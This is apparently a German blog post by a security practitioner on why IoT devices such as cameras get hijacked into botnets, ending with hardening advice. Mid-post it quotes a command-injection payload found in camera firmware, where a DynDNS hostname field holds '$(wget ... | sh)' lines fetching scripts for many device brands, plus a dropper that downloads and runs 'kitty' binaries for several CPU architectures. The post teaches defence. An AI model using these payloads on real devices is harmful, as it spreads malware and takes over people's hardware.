Vielleicht erinnert ihr euch an meine Aussage, dass man jedem Gerät, das man mit dem Internet verbindet, mindestens so viel Vertrauen entgegenbringen sollte wie seiner Haustür. In den letzten Wochen durfte ich das wieder mehrfach sehr anschaulich erklären – direkt anhand realer Beispiele in der IT von Unternehmen oder im privaten Umfeld.
Versteht mich nicht falsch: Es geht mir nicht darum, mich über irgendwen lustig zu machen oder zu behaupten, dass nur Fachleute irgendetwas einrichten dürfen. Wenn jemand ein IoT-Gerät kauft – eine Überwachungskamera, ein Thermometer, eine smarte Steckdose – dann geht diese Person zurecht davon aus, dass es „funktioniert“. Und für viele bedeutet „funktionieren“ automatisch auch: Es ist grundsätzlich sicher.
Leider ist genau das oft nicht der Fall.
IoT in der Praxis: Schnell, günstig – und sicherheitsblind
Viele dieser kleinen Netzwerkgeräte basieren auf irgendeiner Form von Linux. Das ist günstig, flexibel, gut anpassbar – perfekt für Hersteller, die aus Standardmodulen schnell ein neues „Produkt“ zusammensetzen wollen. Die Funktion steht im Vordergrund, denn die sieht der Kunde sofort. Sicherheitsrelevante Details dagegen sieht niemand und sie verzögern die Entwicklung. Also bekommen sie häufig weniger Aufmerksamkeit.
Selbst wenn ein Hersteller alles richtig bedenkt, kann später eine neue Angriffstechnik entstehen, gegen die das Gerät keine Abwehr hat. Dann braucht es ein Firmware-Update. Das kostet Geld, Zeit – und es hilft nur, wenn man es auch einspielt.
„Was soll schon passieren? Es ist doch nur eine Kamera am Mülltonnenplatz …“
Viele denken:
Was soll’s? Wenn jemand sehen kann, wie warm es im Keller ist oder welcher Waschbär die Tonnen plündert – na und?
Das Problem ist nicht der Inhalt der Kamera. Das Problem ist das Gerät selbst.
IoT-Geräte werden extrem häufig missbraucht – und zwar nicht, um euch auszuspionieren, sondern um sie für fremde Zwecke einzuspannen:
- als Teil eines Botnetzes
- zum Verteilen von Malware
- für DDoS-Angriffe
- zum Minen von Kryptowährungen
- oder als Einstiegspunkt ins dahinterliegende Netzwerk
Im besten Fall merkt man davon nichts – außer vielleicht einem unerklärlich langsamen Internet.
Im schlechtesten Fall steht plötzlich die Polizei vor der Tür, weil über die eigene IP-Adresse strafbare Downloads verteilt wurden.
Und bevor jemand denkt „Das ist doch konstruiert“: Nein. Das passiert. Dauerhaft. Ich sehe fast täglich Spuren solcher Übernahmen.
Warum diese Geräte so leicht kompromittierbar sind
Bei manchen Geräten ist ein Login – falls überhaupt vorhanden – kaum mehr als ein wackliges Gartentor im Nirgendwo. Default-Passwörter, Basic-Auth ohne HTTPS, unsichere Dienste, schlechte Update-Strategien.
Ein Klassiker: nicht korrekt geprüfte Eingabefelder.
Viele Web-Interfaces akzeptieren blind alles, was man eingibt – und führen es sogar direkt als Teil eines Shell-Befehls aus.
Beispiel aus einer realen IoT-Kamera-Firmware:
ddns_DyndnsDynamic_hostname='$(wget http://1.2.3.4/x/vivo -O-|sh)'
oder
$(wget http://1.2.3.4/ipcam.zavio.sh -O- | sh) $(wget http://1.2.3.4/zavio -O- | sh) $(wget http://1.2.3.4/router.zyxel.sh -O- | sh) $(wget http://1.2.3.4/router.raisecom.sh -O- | sh) $(wget http://1.2.3.4/router.draytek.sh -O- | sh) $(wget http://1.2.3.4/nas.dlink.sh -O- | sh) $(wget http://1.2.3.4/router.aitemi.sh -O- | sh) $(wget http://1.2.3.4/ipcam.tplink.sh -O- | sh) $(wget http://1.2.3.4/router.netgear.sh -O- | sh) $(wget http://1.2.3.4/dvr.tbk.sh -O- | sh) $(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
Die Zugangsdaten, die man in solchen Feldern eintragen „muss“, sind dabei oft schlicht. meow könnte hier wohl ein Verweis auf das, durch das Script, zu installierende kitty Paket sein:
Benutzername: meow Kennwort: meow
Das Entscheidende ist jedoch die Konstruktion $(…).
Linux interpretiert das nicht als Text, sondern als auszuführendes Kommando – mit den Rechten, mit denen die DynDNS-Funktion läuft. Und das ist bei vielen Geräten immer noch root.
Der eigentliche Befehl ist dann:
wget http://1.2.3.4/vivo -O- | sh
- wget lädt eine Datei herunter
- -O- sorgt dafür, dass der Inhalt direkt ausgegeben wird
- das Pipe-Symbol | übergibt den Inhalt an die Shell sh
- die Shell führt alles aus, was darin steht
Sprich: Man lädt ein beliebiges Skript aus dem Internet – und führt es sofort mit root-Rechten aus. Ohne Rückfrage. Ohne Sicherheit.
Ein Beispiel für ein solches Script könnte folgendes sein:
cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd / wget http://1.2.3.4/kitty.x86; chmod 777 kitty.x86; ./kitty.x86 ipcam.zavio; rm kitty.x86 wget http://1.2.3.4/kitty.x86_64; chmod 777 kitty.x86_64; ./kitty.x86_64 ipcam.zavio; rm kitty.x86_64 wget http://1.2.3.4/kitty.arm; chmod 777 kitty.arm; ./kitty.arm ipcam.zavio; rm kitty.arm wget http://1.2.3.4/kitty.mips; chmod 777 kitty.mips; ./kitty.mips ipcam.zavio; rm kitty.mips wget http://1.2.3.4/kitty.mipsel; chmod 777 kitty.mipsel; ./kitty.mipsel ipcam.zavio; rm kitty.mipsel wget http://1.2.3.4/kitty.aarch64; chmod 777 kitty.aarch64; ./kitty.aarch64 ipcam.zavio; rm kitty.aarch64
Und ja: Das existiert genauso in freier Wildbahn.
Wenn ihr so etwas in eurer Konfiguration findet: Uff.
Dann würde ich dem Gerät nicht mal mehr nach einem Reset vertrauen. Denn:
- Wurde vielleicht eine manipulierte Firmware eingespielt?
- Wurde der Bootloader verändert?
- Wird nach jedem Neustart automatisch eine Backdoor geöffnet?
- Gibt es überhaupt offizielle Firmware-Images zum Neu-Flashen?
Oft lautet die bittere Antwort: Nein.
Und dann bleibt realistisch nur: Gerät entsorgen.
Noch schlimmer: Der Angreifer hat damit meist vollen Zugriff auf das Netzwerk hinter dem Gerät.
Und IoT-Geräte speichern gerne:
- WLAN-Passwörter
- NAS-Zugangsdaten
- SMTP-Accounts
- API-Tokens
- Nutzer- und Admin-Zugänge anderer Systeme
Damit kann ein Angreifer richtig Schaden anrichten.
Was also tun?
IoT ist nicht böse – aber oft schlecht gemacht.
Daher ein paar Grundregeln, die wirklich jeder beherzigen sollte:
- IoT immer in ein eigenes, getrenntes Netz.
- Kein direkter Zugriff aus dem Internet – nur wenn es wirklich sein muss und dann sauber gesichert.
- Regelmäßig patchen, prüfen, auditieren.
- Standardpasswörter sofort ändern.
- Alle nicht benötigten Dienste deaktivieren.
Das ist nicht theoretisch, nicht konstruiert – das ist Alltag. Ich sehe es fast täglich.
